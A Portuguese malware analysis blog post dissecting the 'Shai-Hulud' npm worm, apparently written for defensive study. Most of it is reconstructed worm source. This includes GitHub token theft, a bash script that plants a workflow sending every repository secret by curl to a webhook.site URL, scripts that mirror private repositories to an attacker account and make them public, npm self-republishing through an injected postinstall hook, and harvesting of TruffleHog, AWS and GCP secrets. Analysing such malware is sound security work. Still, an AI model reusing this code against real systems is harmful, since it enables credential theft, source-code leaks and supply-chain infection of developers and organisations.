Anatomia de um Malware Multi-Vetor: Shai-Hulud, o Worm do Deserto
Análise técnica de malware JS encontrado em pacote NPM comprometido — roubo de token GitHub, injeção de workflow, migração de repositórios, supply chain via NPM, scan de secrets com TruffleHog e varredura de AWS/GCP
Contexto
Estava Eu vivendo minha vidinha de agiotagem e organizador de rinha de Louva-a-Deus quando Mano Vdgonc veio me perguntar se Eu tinha um sample do Shai-Hulud… Eu não tinha, mas sabia para quem/onde pedir.
O que parecia um dump ofuscado revelou um malware multi-vetor em 5 estágios simultâneos: roubo de token GitHub, injeção de workflow malicioso (que exfiltra GitHub Actions secrets), migração completa de repositórios privados, propagação via supply chain NPM, e varredura de secrets managers da AWS e GCP.
Um webpack bundle com mais de 1000 módulos embutindo SDKs completos da AWS, Google Cloud, GitHub (Octokit) e o scanner de secrets TruffleHog.
O nome não é aleatório: Shai-Hulud é como os Fremen chamam os vermes da areia no Mundo de Duna — criaturas que devoram tudo no caminho e se movem sob a superfície sem serem detectadas.
Este artigo tenta desconstruir cada módulo do bundle com o fluxo completo de execução.
Espero que gostem da Leitura.
Arquitetura Geral
[node bundle.js executado via postinstall ou direto]
│
├─► GitHubModule
│ ├─ Rouba GITHUB_TOKEN (env ou gh auth token)
│ ├─ Injeta .github/workflows/shai-hulud-workflow.yml em TODOS os repos
│ │ └─ Workflow captura $ → exfiltra via webhook.site
│ ├─ Migra TODOS os repos privados para conta do atacante (git clone --mirror)
│ └─ Cria repo público "Shai-Hulud" com todos os dados exfiltrados
│
├─► NpmModule (propagação)
│ ├─ Valida token NPM
│ ├─ Lista pacotes do maintainer
│ └─ Para cada pacote: baixa → injeta bundle.js → bump version → npm publish
│
├─► AWSModule
│ ├─ Lê ~/.aws/credentials e ~/.aws/config (todos os profiles)
│ ├─ GetCallerIdentity para cada profile
│ └─ Varre 14 regiões: ListSecrets + GetSecretValue (TODOS os secrets)
│
├─► GCPModule
│ ├─ Autentica via ADC (Application Default Credentials)
│ └─ ListSecrets + AccessSecretVersion (TODOS os secrets)
│
└─► TruffleHogModule
├─ Baixa binário oficial do TruffleHog (via GitHub Releases)
├─ Extrai, executa scan no filesystem (90s timeout)
└─ Remove binário após scan (evidência zero em disco)
Ponto de Entrada — main()
A função main() é chamada automaticamente ao carregar o bundle. A orquestração completa:
async function main() {
const sysInfo = getSystemInfo(); // OS, arch, platform
const github = new GitHubModule(); // Módulo 82036
const aws = new AWSModule(); // Módulo AWS
const gcp = new GCPModule(); // Módulo GCP
const truffle = new TruffleHogModule(); // Módulo 94913
const npm = new NpmModule(process.env.NPM_TOKEN);
// ===== VETOR 1: GITHUB =====
// Só executa em Linux/Mac (ignora Windows para evasão)
if (github.isAuthenticated() && (isLinux() || isMac())) {
const token = github.getCurrentToken();
const user = await github.getUser();
// Só prossegue se for token classic PAT (ghp_) ou OAuth (gho_)
if (token && (token.startsWith("ghp_") || token.startsWith("gho_")) && user) {
// Injeta workflow malicioso em TODOS os repositórios
await github.extraction(token);
// Para CADA organização do usuário, rouba TODOS os repositórios
for (const org of await github.getOrgs())
await github.migration(user.login, org, token);
}
}
// ===== VETOR 2: NPM (supply chain) + VETOR 3: TRUFFLEHOG =====
// Executam em paralelo
const [npmResult, truffleResult] = await Promise.all([
(async () => {
const username = await npm.validateToken();
if (username && (isLinux() || isMac())) {
const packages = await npm.getPackagesByMaintainer(username, 20);
// Injeta malware em cada pacote e republica
await Promise.all(packages.map(pkg => npm.updatePackage(pkg)));
}
return { npmUsername: username, npmTokenValid: !!username };
})(),
(async () => {
if (process.env.SKIP_TRUFFLE) return null;
const available = await truffle.isAvailable(); // instala se necessário
const version = await truffle.getVersion();
const results = available ? await truffle.scanFilesystem() : null;
return { available, installed: truffle.isInstalled(), version, results };
})()
]);
// ===== VETOR 4: AWS =====
let awsSecrets = [];
if (await aws.isValid())
awsSecrets = await aws.getAllSecretValues(); // TODOS os secrets, 14 regiões
// ===== VETOR 5: GCP =====
let gcpSecrets = [];
if (await gcp.isValid())
gcpSecrets = await gcp.getAllSecretValues(); // TODOS os secrets GCP
// ===== EXFILTRAÇÃO FINAL =====
const payload = {
system: {
platform: sysInfo.platform,
architecture: sysInfo.architecture,
platformDetailed: sysInfo.platformRaw,
architectureDetailed: sysInfo.archRaw
},
environment: process.env, // ← TODAS as variáveis de ambiente
modules: {
github: {
authenticated: github.isAuthenticated(),
token: github.getCurrentToken(), // ← TOKEN GITHUB EM TEXTO PURO
username: github.getUser()
},
aws: { secrets: awsSecrets }, // ← TODOS secrets AWS
gcp: { secrets: gcpSecrets }, // ← TODOS secrets GCP
truffleHog: truffleResult, // ← RESULTADO DO SCAN
npm: {
token: process.env.NPM_TOKEN, // ← TOKEN NPM
authenticated: npmResult.npmTokenValid,
username: npmResult.npmUsername
}
}
};
// Commit final: repo público "Shai-Hulud" com TUDO
if (github.isAuthenticated())
await github.makeRepo("Shai-Hulud", JSON.stringify(payload, null, 2));
process.exit(0);
}
main().catch(() => process.exit(0)); // nunca levanta exceção visível
Cada catch silencioso e o process.exit(0) garantem que o processo sempre termina com código 0 — sem logs de erro, sem alertas.
Módulo 1: GitHubModule — O Coração do Ataque
1.1 Roubo de Token
getToken() {
// Vetor 1: variável de ambiente
const token = process.env.GITHUB_TOKEN;
if (token) return token;
// Vetor 2: GitHub CLI (gh auth token)
try {
const token = execSync("gh auth token", {
encoding: "utf8", stdio: "pipe"
}).trim();
if (token) return token;
} catch {}
return null;
}
Dois vetores: GITHUB_TOKEN do ambiente (comum em CI/CD) e gh auth token da CLI do GitHub (máquinas de desenvolvedor). Se nenhum existir, o módulo GitHub simplesmente não executa — falha silenciosamente.
1.2 Enumeração de Organizações
async getOrgs() {
try {
return (await this.octokit.rest.orgs.listForAuthenticatedUser({
per_page: 100
})).data.map(org => org.login);
} catch {
return [];
}
}
Lista todas as organizações que o token tem acesso. Cada uma será alvo da migração completa.
1.3 extraction(token) — Injeção de Workflow Malicioso
async extraction(token) {
try {
const fs = require("fs");
const { spawn } = require("child_process");
const scriptPath = "/tmp/processor.sh";
fs.writeFileSync(scriptPath, PROCESSOR_BASH_SCRIPT, { mode: 0o755 });
const env = { ...process.env };
const args = [token];
spawn(scriptPath, args, {
env: env,
detached: true, // ← sobrevive ao processo pai
stdio: "ignore" // ← sem output, invisível
}).unref(); // ← não bloqueia o event loop
} catch {}
}
Escreve o script em /tmp/processor.sh com permissão 755 e executa em background total: detached: true + unref() significa que o script continua rodando mesmo depois que o processo Node termina. Sem stdout/stderr capturado — invisível para qualquer monitoramento de processo.
O Script processor.sh — Linha por Linha
#!/bin/bash
GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"
# O WORKFLOW MALICIOSO:
FILE_CONTENT=$(cat <<'EOF'
on:
push: # dispara em QUALQUER push
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Data Processing
run: |
curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
echo "$CONTENTS" | base64 -w 0 | base64 -w 0
env:
CONTENTS: $ # ← CAPTURA TODOS OS SECRETS DO REPO
EOF
)
O workflow é um stealer persistente de GitHub Actions Secrets:
on: push— dispara automaticamente em qualquer push futuro$— o GitHub Actions substitui isso pelo JSON completo de todos os secrets do repositóriocurl -d "$CONTENTS"→ envia os secrets via POST para o webhook.siteecho "$CONTENTS" | base64 -w 0 | base64 -w 0→ duplo base64 como fallback de exfiltração (aparece nos logs do workflow)
O script então:
# Verifica escopos necessários
# Precisa de 'repo' (acesso a repositórios) e 'workflow' (gerenciar workflows)
if [[ ! "$SCOPES" =~ "repo" ]]; then exit 1; fi
if [[ ! "$SCOPES" =~ "workflow" ]]; then exit 1; fi
# Lista TODOS os repositórios: owner, collaborator, organization_member
# Filtra por atualizados desde 2025 (scopo amplo, mas parece legítimo)
REPOS_RESPONSE=$(github_api GET \
"/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")
# Para CADA repositório:
for repo in $REPOS; do
# 1. Obtém SHA do branch default
BASE_SHA=$(github_api GET "/repos/$FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
# 2. Cria branch "shai-hulud" a partir do branch default
github_api POST "/repos/$FULL_NAME/git/refs" \
"{\"ref\": \"refs/heads/shai-hulud\", \"sha\": \"$BASE_SHA\"}"
# 3. Upload do workflow malicioso no branch shai-hulud
github_api PUT "/repos/$FULL_NAME/contents/$FILE_NAME" \
"{\"message\": \"Add workflow\", \"content\": \"$FILE_CONTENT_B64\", \"branch\": \"shai-hulud\"}"
done
O workflow é injetado em um branch separado (shai-hulud), não no default. Isso significa que não aparece nos workflows ativos do repositório a menos que alguém faça push nesse branch ou crie um PR dele. É uma bomba-relógio: assim que qualquer push acontecer no repo (incluindo pushes legítimos de desenvolvedores), o workflow dispara.
1.4 migration(username, org, token) — Roubo de Código-Fonte
async migration(username, org, token) {
const fs = require("fs");
const { spawn } = require("child_process");
const scriptPath = "/tmp/migrate-repos.sh";
fs.writeFileSync(scriptPath, MIGRATION_BASH_SCRIPT, { mode: 0o755 });
fs.mkdirSync("/tmp/github-migration");
const env = { ...process.env };
const proc = spawn(scriptPath, [username, org, token], {
env: env,
detached: true, // ← background total
stdio: "ignore" // ← invisível
});
proc.unref();
return {
success: true,
message: "Migration started in background",
pid: proc.pid
};
}
Mesmo padrão: escreve script, executa em background total. Desta vez o script é o roubo completo de código-fonte.
O Script migrate-repos.sh — Linha por Linha
#!/bin/bash
SOURCE_ORG="$1" # Organização da vítima
TARGET_USER="$2" # Conta do atacante
GITHUB_TOKEN="$3" # Token roubado
PER_PAGE=100
TEMP_DIR="./temp$TARGET_USER"
# Lista TODOS os repositórios privados e internos da organização
get_all_repos() {
local org="$1"
local page=1
while true; do
response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=100&page=$page")
# ... parse JSON, coleta full_name de cada repo ...
if repos_count == 0: break
page++
done
}
# Cria repositório privado na conta do atacante
create_repo() {
local repo_name="$1"
github_api POST "/user/repos" "{
\"name\": \"$repo_name\",
\"description\": \"Shai-Hulud Migration\",
\"private\": true,
\"has_issues\": false,
\"has_projects\": false,
\"has_wiki\": false
}"
}
# Torna o repositório PÚBLICO após migração
make_repo_public() {
github_api PATCH "/repos/$TARGET_USER/$repo_name" "{\"private\": false}"
}
# Migra um repositório: clone → push → público
migrate_repo() {
local source_clone_url="$1" # https://TOKEN@github.com/vitima/repo.git
local target_clone_url="$2" # https://TOKEN@github.com/atacante/repo-migration.git
local migration_name="$3"
# 1. Clone completo do repositório vítima (--mirror = todos os branches + tags)
git clone --mirror "$source_clone_url" "$TEMP_DIR/$migration_name"
cd "$TEMP_DIR/$migration_name"
# 2. Redireciona remote para a conta do atacante
git remote set-url origin "$target_clone_url"
# 3. Remove .github/workflows (apaga evidências)
git config --unset core.bare
git reset --hard
if [[ -d ".github/workflows" ]]; then
rm -rf .github/workflows
git add -A
git commit -m "Remove GitHub workflows directory"
fi
# 4. Push completo para o atacante
git config core.bare true
rm -rf *
git push --mirror
# 5. Limpeza local
cd - >/dev/null
rm -rf "$TEMP_DIR/$migration_name"
}
# Para cada repositório:
process_repositories() {
for repo in $repos; do
migration_name="${repo//\//-}-migration" # org/repo → org-repo-migration
auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"
create_repo "$migration_name" && \
migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name" && \
make_repo_public "$migration_name" # ← TORNA PÚBLICO!
done
}
Três detalhes críticos:
git clone --mirror— copia todos os branches, tags e refs. Clone completo, não só o branch default.Remove
.github/workflowsantes do push — o script sabe que o workflow malicioso foi injetado e remove a evidência do código roubado antes de publicar.make_repo_public— o repositório migrado é tornado público. Isso significa que o código-fonte privado da vítima fica acessível para qualquer pessoa na internet.Rate limit handling: se encontrar
secondary rate limit(429), dorme 10 minutos (sleep 600) e retry — o script é paciente e resiliente.
1.5 makeRepo(name, data) — Exfiltração Final
async makeRepo(name, data) {
try {
// Cria repositório PÚBLICO "Shai-Hulud"
const repo = (await this.octokit.rest.repos.createForAuthenticatedUser({
name: name,
description: "Shai-Hulud Repository.",
private: false, // ← PÚBLICO
auto_init: false,
has_issues: false,
has_projects: false,
has_wiki: false
})).data;
// Aguarda 3 segundos (GitHub rate limit prevention)
await new Promise(r => setTimeout(r, 3000));
// Commit com TODOS os dados exfiltrados em data.json
if (data) {
await this.octokit.rest.repos.createOrUpdateFileContents({
owner: repo.owner.login,
repo: repo.name,
path: "data.json",
message: "Initial commit",
content: Buffer.from(
Buffer.from(
Buffer.from(data).toString("base64")
).toString("base64")
).toString("base64") // ← DUPLO BASE64 (ofuscação)
});
}
return {
owner: repo.owner.login,
repo: repo.name,
url: repo.html_url, // ← URL PÚBLICA com os dados
createdAt: repo.created_at
};
} catch {
return null;
}
}
O payload final — data.json no repo “Shai-Hulud”:
- Duplo base64 encoding (ofuscação simples)
- Repositório público — acessível por qualquer pessoa com a URL
- Contém: sistema,
process.envcompleto, token GitHub, secrets AWS, secrets GCP, resultados TruffleHog, token NPM
Módulo 2: NpmModule — Supply Chain Attack
2.1 Validação de Token
async validateToken() {
if (!this.token) return null;
const response = await fetch("https://registry.npmjs.org/-/whoami", {
method: "GET",
headers: {
Authorization: `Bearer ${this.token}`,
"Npm-Auth-Type": "web",
"Npm-Command": "whoami",
"User-Agent": "npm/9.2.0 node/v..." // ← user-agent falso do npm
}
});
if (response.status === 401)
throw new Error("Invalid NPM token");
return (await response.json()).username || null;
}
Usa a API /-/whoami do registry NPM com user-agent forjado para parecer o cliente npm legítimo.
2.2 getPackagesByMaintainer(user, 20) — Enumeração
async getPackagesByMaintainer(username, limit = 10) {
// Busca: "maintainer:<username>"
const results = await this.searchPackages(`maintainer:${username}`, limit);
const packages = [];
for (const result of results) {
const name = result.package?.name;
const version = result.package?.version;
const monthlyDownloads = result.downloads?.monthly || 0;
// Obtém detalhes completos do pacote
const detail = await this.getPackageDetail(name);
const tarballUrl = detail.versions?.[version]?.dist?.tarball || "";
packages.push({
name, version, monthlyDownloads,
weeklyDownloads: result.downloads?.weekly || 0,
tarballUrl
});
}
// Ordena por downloads mensais (prioriza pacotes populares)
return packages.sort((a, b) => b.monthlyDownloads - a.monthlyDownloads);
}
Prioriza os pacotes mais populares do maintainer — máximo impacto com mínimo esforço.
2.3 updatePackage(pkg) — A Engenharia do Supply Chain
async updatePackage(pkg) {
try {
const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);
const fs = require("fs");
const path = require("path");
const os = require("os");
// Verifica se 'tar' está disponível
try { await execAsync("which tar"); }
catch { return Buffer.alloc(0); } // ← falha silenciosamente
// 1. Baixa o tarball do pacote legítimo
const response = await fetch(pkg.tarballUrl, {
method: "GET",
headers: {
"User-Agent": this.userAgent,
Accept: "*/*",
"Accept-Encoding": "gzip, deflate, br"
}
});
const tarballBuffer = Buffer.from(await response.arrayBuffer());
// 2. Cria diretório temporário
const tmpDir = await fs.promises.mkdtemp(
path.join(os.tmpdir(), "npm-update-")
);
const tgzPath = path.join(tmpDir, "package.tgz");
const tarPath = path.join(tmpDir, "package.tar");
const newTgz = path.join(tmpDir, "updated.tgz");
try {
// 3. Escreve tarball original em disco
await fs.promises.writeFile(tgzPath, tarballBuffer);
// 4. Descomprime .tgz → .tar
await execAsync(`gzip -d -c ${tgzPath} > ${tarPath}`);
// 5. Extrai package/package.json
await execAsync(`tar -xf ${tarPath} -C ${tmpDir} package/package.json`);
// 6. Lê e modifica package.json
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
const pkgJsonRaw = await fs.promises.readFile(pkgJsonPath, "utf-8");
const pkgJson = JSON.parse(pkgJsonRaw);
// 7. BUMP DE VERSÃO (patch +1)
if (pkgJson.version) {
const parts = pkgJson.version.split(".");
if (parts.length === 3) {
const patch = parseInt(parts[2]);
if (!isNaN(patch)) {
pkgJson.version = `${parts[0]}.${parts[1]}.${patch + 1}`;
}
}
}
// 8. INJEÇÃO DO POSTINSTALL MALICIOSO
if (!pkgJson.scripts) pkgJson.scripts = {};
pkgJson.scripts.postinstall = "node bundle.js";
// 9. Reescreve package.json modificado
await fs.promises.writeFile(
pkgJsonPath,
JSON.stringify(pkgJson, null, 2)
);
// 10. Atualiza package.json no tar
await execAsync(
`tar -uf ${tarPath} -C ${tmpDir} package/package.json`
);
// 11. INJEÇÃO DO PRÓPRIO MALWARE COMO bundle.js
const currentScript = process.argv[1]; // caminho deste arquivo
if (currentScript && await fs.promises.access(currentScript)
.then(() => true).catch(() => false)) {
const bundleDest = path.join(tmpDir, "package", "bundle.js");
const bundleContent = await fs.promises.readFile(currentScript);
await fs.promises.writeFile(bundleDest, bundleContent);
await execAsync(
`tar -uf ${tarPath} -C ${tmpDir} package/bundle.js`
);
}
// 12. Recompime .tar → .tgz
await execAsync(`gzip -c ${tarPath} > ${newTgz}`);
// 13. PUBLICA O PACOTE INFECTADO
await execAsync(`npm publish ${newTgz}`);
// 14. Limpeza — remove diretório temporário
await fs.promises.rm(tmpDir, { recursive: true, force: true });
} catch (err) {
// Limpeza em caso de erro
try { await fs.promises.rm(tmpDir, { recursive: true, force: true }); }
catch {}
throw err;
}
} catch (err) {
throw new Error(`Failed to update package: ${err}`);
}
}
O que este método faz, em resumo:
- Baixa o pacote legítimo do registry NPM
- Desempacota → modifica
package.json→ injetapostinstall: "node bundle.js" - Copia a si mesmo (
process.argv[1]) comobundle.jsdentro do pacote - Reempacota →
npm publish→ republica com versão patch+1
Impacto: Todo desenvolvedor que fizer npm install ou npm update do pacote legítimo recebe a versão infectada. O postinstall executa automaticamente após a instalação — sem interação do usuário.
Módulo 3: TruffleHogModule — Scanner de Secrets
3.1 Instalação Multi-Plataforma
class TruffleHogModule {
constructor() {
this.installedStatus = false;
this.systemInfo = getSystemInfo();
const binaryName = this.systemInfo.platform === "windows"
? "trufflehog.exe" : "trufflehog";
this.binaryPath = path.join(process.cwd(), binaryName);
this.checkIfInstalled();
}
mapArchitecture(arch) {
switch (arch) {
case "x64": return "amd64";
case "arm64": return "arm64";
case "arm": return "arm";
case "x86": return "386";
default: return "amd64";
}
}
mapPlatform(platform) {
switch (platform) {
case "windows": return "windows";
case "linux": return "linux";
case "mac": return "darwin";
default: return "linux";
}
}
async getLatestRelease() {
// Consulta API do GitHub para última release oficial
const response = await fetch(
"https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest"
);
const { tag_name } = await response.json();
const version = tag_name.replace("v", "");
const platform = this.mapPlatform(this.systemInfo.platform);
const arch = this.mapArchitecture(this.systemInfo.architecture);
const fileName = `trufflehog_${version}_${platform}_${arch}.tar.gz`;
return {
version,
downloadUrl: `https://github.com/trufflesecurity/trufflehog/releases/download/${tag_name}/${fileName}`,
fileName
};
}
Suporte a: Windows (amd64, 386), Linux (amd64, arm64, arm), macOS (amd64, arm64). Baixa da release oficial do TruffleHog — impossível distinguir de um uso legítimo.
3.2 Download, Extração e Execução
async install() {
if (this.installedStatus) return true;
const release = await this.getLatestRelease();
const tarballPath = path.join(process.cwd(), release.fileName);
// Download do binário
await this.downloadFile(release.downloadUrl, tarballPath);
// Extração: tar -xzf → chmod +x → rm tarball
await this.extractBinary(tarballPath);
return true;
}
async extractBinary(tarball) {
const binaryName = this.systemInfo.platform === "windows"
? "trufflehog.exe" : "trufflehog";
// Extrai o binário
execSync(
`tar -xzf "${tarball}" -C "${process.cwd()}" ${binaryName}`,
{ stdio: "pipe" }
);
// Torna executável (Linux/Mac)
if (this.systemInfo.platform !== "windows") {
execSync(`chmod +x "${this.binaryPath}"`, { stdio: "pipe" });
}
// Remove o tarball
const rmCmd = this.systemInfo.platform === "windows"
? `del "${tarball}"` : `rm "${tarball}"`;
execSync(rmCmd, { stdio: "pipe" });
this.installedStatus = true;
}
3.3 Scan e Autodestruição
async scanFilesystem(targetPath = ".", timeoutMs = 90000) {
return new Promise((resolve) => {
let output = "";
let errorOutput = "";
let timedOut = false;
let resolved = false;
const safeResolve = (result) => {
if (!resolved) { resolved = true; resolve(result); }
};
if (!this.installedStatus || !existsSync(this.binaryPath)) {
return safeResolve({
success: false,
error: "TruffleHog binary not available"
});
}
const args = [
"filesystem", targetPath,
"--json",
"--results=verified" // ← só secrets verificados
];
const proc = spawn(this.binaryPath, args, {
cwd: os.homedir(), // ← scan a partir do home
env: process.env,
stdio: ["pipe", "pipe", "pipe"]
});
// Timeout: 90 segundos
const timer = setTimeout(() => {
timedOut = true;
proc.kill("SIGTERM");
setTimeout(() => {
if (!proc.killed) proc.kill("SIGKILL");
safeResolve({
success: false,
error: `Process terminated after ${timeoutMs}ms timeout`
});
}, 2000);
}, timeoutMs);
proc.stdout?.on("data", (chunk) => { output += chunk.toString(); });
proc.stderr?.on("data", (chunk) => { errorOutput += chunk.toString(); });
proc.on("close", (code) => {
clearTimeout(timer);
// AUTODESTRUIÇÃO: remove o binário após scan
try {
if (existsSync(this.binaryPath)) {
require("fs").unlinkSync(this.binaryPath);
this.installedStatus = false;
}
} catch {}
if (!timedOut) {
safeResolve({
success: code === 0,
output: output.trim() || undefined,
error: code !== 0
? errorOutput || `Process exited with code ${code}`
: undefined
});
}
});
});
}
Quatro detalhes importantes:
--results=verified— só retorna secrets que o TruffleHog conseguiu verificar como válidos (menos falsos positivos, mais impacto).Timeout de 90 segundos — evita que o scan rode indefinidamente e chame atenção.
Autodestruição —
unlinkSync(this.binaryPath)remove o binário imediatamente após o scan. Nenhum artefato permanece em disco.Graceful degradation — mesmo se o scan falhar ou expirar, retorna o que conseguiu capturar.
Módulo 4: AWSModule — Varredura de 14 Regiões
4.1 Enumeração de Profiles
class AWSModule {
constructor() {
this.REGIONS = [
"us-east-1", "us-east-2", "us-west-1", "us-west-2",
"eu-west-1", "eu-west-2", "eu-west-3",
"eu-central-1", "eu-north-1",
"ap-southeast-1", "ap-southeast-2",
"ap-northeast-1", "ap-northeast-2",
"ap-south-1"
];
this.secretsClients = new Map();
}
parseAwsProfiles() {
const profiles = [];
const configPaths = [
path.join(os.homedir(), ".aws", "credentials"),
path.join(os.homedir(), ".aws", "config")
];
for (const configPath of configPaths) {
if (!existsSync(configPath)) continue;
try {
const content = readFileSync(configPath, "utf-8");
const matches = content.match(/\[(?:profile )?([^\]]+)\]/g);
if (matches) {
for (const match of matches) {
const profile = match
.replace(/\[(?:profile )?/, "")
.replace("]", "");
if (!profiles.includes(profile)) profiles.push(profile);
}
}
} catch {}
}
// "default" sempre primeiro na lista
if (profiles.includes("default")) {
profiles.splice(profiles.indexOf("default"), 1);
profiles.unshift("default");
}
return profiles;
}
Lê ambos os arquivos de configuração AWS: ~/.aws/credentials (credenciais) e ~/.aws/config (profiles SSO, roles). Extrai todos os profiles nomeados.
4.2 Autenticação e Validação
async initialize() {
if (this.callerIdentity) return true; // já autenticado
const profiles = [
process.env.AWS_PROFILE || "default",
...this.parseAwsProfiles()
];
// Tenta CADA profile até conseguir
for (const profile of Array.from(new Set(profiles))) {
try {
const credentials = fromIni({ profile });
const sts = new STSClient({
region: "us-east-1",
credentials
});
const identity = await sts.send(new GetCallerIdentityCommand({}));
if (identity.UserId && identity.Account && identity.Arn) {
this.callerIdentity = {
userId: identity.UserId,
account: identity.Account,
arn: identity.Arn
};
this.profile = profile;
this.stsClient = sts;
return true;
}
} catch {}
}
return false;
}
Usa GetCallerIdentity (STS) — não requer permissões especiais, sempre funciona com credenciais válidas. Armazena UserId, Account ID e ARN do principal autenticado.
4.3 Coleta de Secrets — 14 Regiões em Paralelo
async listSecrets() {
if (!await this.initialize()) return [];
const secrets = [];
const seenArns = new Set();
for (const region of this.REGIONS) {
try {
const client = this.getSecretsClient(region);
const response = await client.send(new ListSecretsCommand({}));
for (const secret of response.SecretList || []) {
if (secret.ARN && !seenArns.has(secret.ARN)) {
seenArns.add(secret.ARN);
secrets.push({
name: secret.Name || "",
arn: secret.ARN,
description: secret.Description,
lastChangedDate: secret.LastChangedDate
});
}
}
} catch (err) {
// AccessDenied → para o scan (não tem permissão em nenhuma região)
if (err.name === "AccessDeniedException" ||
err.$metadata?.httpStatusCode === 403) {
break;
}
// Outros erros → pula a região e continua
}
}
return secrets;
}
async getSecretValue(secretId) {
if (!await this.initialize()) return null;
// Tenta extrair região do ARN
let region = null;
if (secretId.startsWith("arn:aws:secretsmanager:")) {
const parts = secretId.split(":");
if (parts.length > 3) region = parts[3];
}
const regionsToTry = region ? [region] : this.REGIONS;
for (const region of regionsToTry) {
try {
const client = this.getSecretsClient(region);
const response = await client.send(
new GetSecretValueCommand({ SecretId: secretId })
);
return {
name: response.Name || secretId,
secretString: response.SecretString, // ← VALOR DO SECRET
secretBinary: response.SecretBinary, // ← VALOR BINÁRIO
versionId: response.VersionId
};
} catch {}
}
return null;
}
async getAllSecretValues() {
const allSecrets = await this.listSecrets();
const values = [];
for (const secret of allSecrets) {
const value = await this.getSecretValue(secret.arn);
if (value) values.push(value);
}
return values;
}
Estratégia de varredura:
- Lista secrets em cada região com
ListSecretsCommand - Para cada secret, obtém o valor com
GetSecretValueCommand - Se
AccessDenied, para o scan completamente (sem permissão cross-region) - Se outro erro (ex: região sem Secrets Manager), pula e continua
Módulo 5: GCPModule — Google Cloud
class GCPModule {
constructor() {
this.projectInfo = null;
this.isValidCredentials = false;
this.initialized = false;
// Autenticação via ADC (Application Default Credentials)
this.auth = new GoogleAuth({
scopes: ["https://www.googleapis.com/auth/cloud-platform"]
});
this.secretsClient = new SecretManagerServiceClient();
}
async initialize() {
if (this.initialized) return;
try {
const projectId = await this.auth.getProjectId();
const client = await this.auth.getClient();
if (projectId && client) {
let email = undefined;
if ("email" in client && typeof client.email === "string") {
email = client.email;
}
this.projectInfo = { projectId, email };
this.isValidCredentials = true;
}
} catch {
this.isValidCredentials = false;
this.projectInfo = null;
} finally {
this.initialized = true;
}
}
async listSecrets() {
if (!this.isValidCredentials || !this.projectInfo) return [];
try {
const [secrets] = await this.secretsClient.listSecrets({
parent: `projects/${this.projectInfo.projectId}`
});
return secrets.map(secret => {
const parts = secret.name?.split("/") || [];
const secretId = parts[parts.length - 1] || "";
return {
name: secret.name || "",
projectId: this.projectInfo.projectId,
secretId: secretId,
labels: secret.labels || undefined
};
});
} catch {
return [];
}
}
async getSecretValue(secretId, version = "latest") {
if (!this.isValidCredentials || !this.projectInfo) return null;
try {
const name = `projects/${this.projectInfo.projectId}/secrets/${secretId}/versions/${version}`;
const [response] = await this.secretsClient.accessSecretVersion({ name });
const payload = response.payload?.data?.toString();
return {
name,
secretId,
payload, // ← VALOR DO SECRET
version: response.name?.split("/").pop() || version
};
} catch {
return null;
}
}
async getAllSecretValues() {
const secrets = await this.listSecrets();
const values = [];
for (const secret of secrets) {
const value = await this.getSecretValue(secret.secretId);
if (value) values.push(value);
}
return values;
}
}
Usa Application Default Credentials — o mecanismo padrão do GCP que funciona automaticamente em:
- VMs do Compute Engine (service account da instância)
- Cloud Run / Cloud Functions (service account do serviço)
- GKE (Workload Identity)
gcloud auth application-default login(máquinas de desenvolvedor)
O Fluxo Completo de Exfiltração
1. bundle.js é executado (postinstall ou direto)
│
2. GitHubModule.getToken() → rouba GITHUB_TOKEN
│
3. Se Linux/Mac + token válido:
├── extraction(token)
│ └── /tmp/processor.sh executa em background (detached)
│ └── Para cada repo do usuário:
│ ├── Cria branch "shai-hulud"
│ └── Injeta .github/workflows/shai-hulud-workflow.yml
│ └── No próximo push → $ → webhook.site
│
└── migration(username, org, token) — para cada org
└── /tmp/migrate-repos.sh executa em background
└── Para cada repo privado/interno:
├── git clone --mirror
├── git push --mirror → conta do atacante
├── Remove .github/workflows (evidência)
└── Torna repo PÚBLICO
│
4. Em paralelo:
├── NpmModule.updatePackage() × 20 pacotes
│ └── Cada um: baixa → injeta bundle.js → bump version → npm publish
│
└── TruffleHogModule.scanFilesystem()
└── Baixa TruffleHog → scan home dir → remove binário
│
5. AWSModule.getAllSecretValues()
└── Varre 14 regiões → ListSecrets → GetSecretValue
│
6. GCPModule.getAllSecretValues()
└── ListSecrets → AccessSecretVersion
│
7. github.makeRepo("Shai-Hulud", JSON.stringify(ALL_DATA))
└── Repositório PÚBLICO com:
├── Sistema: OS, arch, platform
├── process.env COMPLETO
├── Token GitHub em texto puro
├── Todos os secrets AWS
├── Todos os secrets GCP
├── Resultados do TruffleHog
└── Token NPM em texto puro
│
8. process.exit(0) — sem erros, sem logs
Técnicas de Evasão Identificadas
| Técnica | Implementação |
|---|---|
| Execução em background total | spawn() com detached: true + stdio: "ignore" + .unref() — processo sobrevive ao pai, sem output |
| Falha silenciosa | Todo catch é vazio ou retorna null/[] — nunca lança exceção visível |
| Autodestruição | Binário do TruffleHog é removido (unlinkSync) após scan |
| Branch separado | Workflow injetado no branch shai-hulud, não no default — invisível no GitHub Actions UI |
| Remoção de evidências | Script de migração remove .github/workflows antes do push |
| User-agent legítimo | NpmModule usa "npm/9.2.0 node/v..." para parecer cliente npm real |
| Token type filtering | Só prossegue com tokens ghp_ (classic PAT) e gho_ (OAuth) — ignora tokens fine-grained |
| Plataforma seletiva | GitHub + NPM só executam em Linux/Mac — ignora Windows (ambientes menos comuns em CI/CD) |
| Rate limit handling | Migração dorme 10 minutos (sleep 600) em secondary rate limit e retry |
| Duplo base64 | Dados no data.json são double-encoded — ofuscação básica |
| Código nunca toca disco | Script principal roda como webpack bundle em memória; bash scripts são os únicos artefatos em disco (em /tmp) |
Mapeamento MITRE ATT&CK
| Tática | Técnica | Implementação |
|---|---|---|
| Initial Access | T1195.002 — Supply Chain Compromise | Injeção em pacotes NPM legítimos via npm publish |
